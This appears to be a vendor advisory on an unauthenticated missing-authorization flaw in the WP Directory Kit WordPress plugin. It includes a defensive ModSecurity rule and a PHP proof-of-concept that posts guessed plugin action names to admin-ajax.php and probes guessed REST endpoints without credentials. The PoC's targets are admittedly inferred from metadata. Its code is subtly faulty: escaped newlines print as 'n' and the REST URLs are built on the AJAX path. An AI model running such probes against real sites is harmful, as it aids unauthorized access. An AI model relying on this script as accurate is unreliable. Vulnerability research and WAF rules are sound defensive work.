Atomic Edge analysis of CVE-2026-39534 (metadata-based):
The WP Directory Kit plugin for WordPress versions up to and including 1.5.0 contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to execute privileged plugin functions. The CVSS score of 5.3 (Medium severity) reflects the network accessibility and low attack complexity.
Based on the CWE-862 classification and vulnerability description, the root cause is a missing capability check on a specific plugin function. Atomic Edge research infers this function is likely registered as a WordPress AJAX handler or REST API endpoint without proper authorization verification. The description confirms the vulnerability exists in all versions up to 1.5.0, but the exact vulnerable function name must be inferred from WordPress plugin patterns.
Exploitation would involve sending HTTP requests to WordPress AJAX or REST endpoints. For AJAX exploitation, attackers would target /wp-admin/admin-ajax.php with an action parameter containing the plugin’s vulnerable hook name. The plugin slug ‘wpdirectorykit’ suggests possible action prefixes like ‘wpdirectorykit_’ or ‘wdk_’. Attackers could also target REST API endpoints at /wp-json/wdk/ or /wp-json/wpdirectorykit/ paths. No authentication credentials or nonce tokens would be required.
Remediation requires adding proper capability checks before executing privileged operations. The patch in version 1.5.1 likely adds current_user_can() checks or similar authorization mechanisms. WordPress security best practices dictate verifying nonces for state-changing operations and implementing proper role-based access controls for all administrative functions.
Successful exploitation enables unauthenticated attackers to perform unauthorized actions within the plugin. While the CVSS vector indicates no confidentiality or availability impact, the integrity impact suggests attackers could modify plugin data or settings. Specific consequences depend on the vulnerable function’s purpose, potentially including directory listing manipulation, content modification, or configuration changes.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-39534 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202639534,phase:2,deny,status:403,chain,msg:'CVE-2026-39534 via WP Directory Kit AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-39534',tag:'WordPress',tag:'Plugin',tag:'WP-Directory-Kit',tag:'Missing-Authorization'"
SecRule ARGS_POST:action "@rx ^(wpdirectorykit|wdk)_"
"chain,t:none"
SecRule &ARGS_POST:_wpnonce "@eq 0"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39534 - WP Directory Kit <= 1.5.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-39534
* This script demonstrates unauthorized access to WP Directory Kit plugin functions.
* Since exact vulnerable endpoint details are unavailable from metadata, this PoC
* tests common WordPress AJAX patterns for the wpdirectorykit plugin.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
// Common AJAX action patterns for wpdirectorykit plugin
$possible_actions = [
'wpdirectorykit_action',
'wdk_action',
'wpdirectorykit_save',
'wdk_save',
'wpdirectorykit_update',
'wdk_update',
'wpdirectorykit_delete',
'wdk_delete',
'wpdirectorykit_import',
'wdk_import',
'wpdirectorykit_export',
'wdk_export'
];
foreach ($possible_actions as $action) {
$ch = curl_init();
$post_data = [
'action' => $action,
'test_param' => 'atomic_edge_test'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Atomic-Edge-Security-Scanner/1.0',
CURLOPT_HTTPHEADER => ['X-Requested-With: XMLHttpRequest']
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Status: {$http_code}n";
// Check for successful execution (not WordPress error responses)
if ($http_code == 200 &&
!str_contains($response, 'wp_die') &&
!str_contains($response, 'error') &&
!str_contains($response, 'Action failed') &&
!str_contains($response, 'Invalid action')) {
echo "POTENTIAL VULNERABILITY DETECTED! Action '{$action}' executed without authentication.n";
echo "Response preview: " . substr($response, 0, 200) . "...n";
} else {
echo "Action '{$action}' appears protected or invalid.n";
}
echo str_repeat('-', 60) . "n";
curl_close($ch);
}
// Also test REST API endpoints if AJAX fails
$rest_endpoints = [
'/wp-json/wdk/v1/',
'/wp-json/wpdirectorykit/v1/',
'/wp-json/wp/v2/wdk/',
'/wp-json/wp/v2/wpdirectorykit/'
];
echo "nTesting REST API endpoints...n";
foreach ($rest_endpoints as $endpoint) {
$ch = curl_init($target_url . $endpoint);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Atomic-Edge-Security-Scanner/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !str_contains($response, 'rest_no_route')) {
echo "POTENTIAL REST ENDPOINT: {$endpoint} (HTTP {$http_code})n";
}
curl_close($ch);
}
?>